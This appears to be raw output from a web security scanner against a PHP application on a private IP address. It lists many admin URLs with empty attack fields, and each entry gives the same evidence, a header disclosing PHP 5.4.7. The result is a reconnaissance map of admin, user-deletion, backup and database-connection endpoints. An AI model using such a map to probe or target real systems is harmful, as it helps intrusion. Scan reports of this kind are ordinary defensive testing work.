http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php?id=5
http://192.168.1.10/admin/ADMIN/OOS/confirmed_order.php
http://192.168.1.10/admin/ADMIN/OOS/delete_order.php?id=3
http://192.168.1.10/admin/ADMIN/OOS/delete_order.php?id=5
http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/orders.php
http://192.168.1.10/admin/ADMIN/OOS/pending_order.php
http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/OOS/reports.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/view_order_notif.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/admin_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/Administrator_loginout.php

Method GET

Attack

http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=1
http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=2
http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=3
http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=5
http://192.168.1.10/admin/ADMIN/OOS/view_order_notif.php
http://192.168.1.10/admin/ADMIN/SERVER/
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/admin_report.php
http://192.168.1.10/admin/ADMIN/SERVER/Administrator_loginout.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customer_list.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/delete_message.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/SERVER/ADS/
http://192.168.1.10/admin/ADMIN/SERVER/ADS/add_new_announcement.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customer_list.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/delete_message.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/print_Customerlist.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/reply.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=11

http://192.168.1.10/admin/ADMIN/SERVER/ADS/print_Customerlist.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/reply.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_products.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=11


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/configuration.php

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/configuration.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=11

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=6


URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_assetlist.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_assetlist.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products1.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/backup.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=1

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/Audit_trail.php
http://192.168.1.10/admin/ADMIN/SERVER/backup.php
http://192.168.1.10/admin/ADMIN/SERVER/customer_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php
http://192.168.1.10/admin/ADMIN/SERVER/delete_asset_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/delete_customer_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=1


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3


URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/index.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=5


URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3

http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_admin_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_administrator_monitoring.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_customer_monitoring.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/print_database.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php
http://192.168.1.10/admin/ADMIN/SERVER/print_admin_report.php
http://192.168.1.10/admin/ADMIN/SERVER/print_administrator_monitoring.php
http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10/admin/ADMIN/SERVER/print_asset_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/print_customer_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/print_customer_monitoring.php
http://192.168.1.10/admin/ADMIN/SERVER/print_database.php
http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/include/connect.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/include/session.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/logout.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/affix.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/affix.php?type=faqs.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/affix.php?type=terms.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/contact.php

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/user.php
http://192.168.1.10/admin/ADMIN/SERVER/user_type.php
http://192.168.1.10/admin/include/connect.php
http://192.168.1.10/admin/include/session.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/admin/logout.php
http://192.168.1.10/affix.php
http://192.168.1.10/affix.php?type=faqs.php
http://192.168.1.10/affix.php?type=terms.php
http://192.168.1.10/contact.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/forgotpass.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/include/connect.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/include/session.php

Method GET

Attack

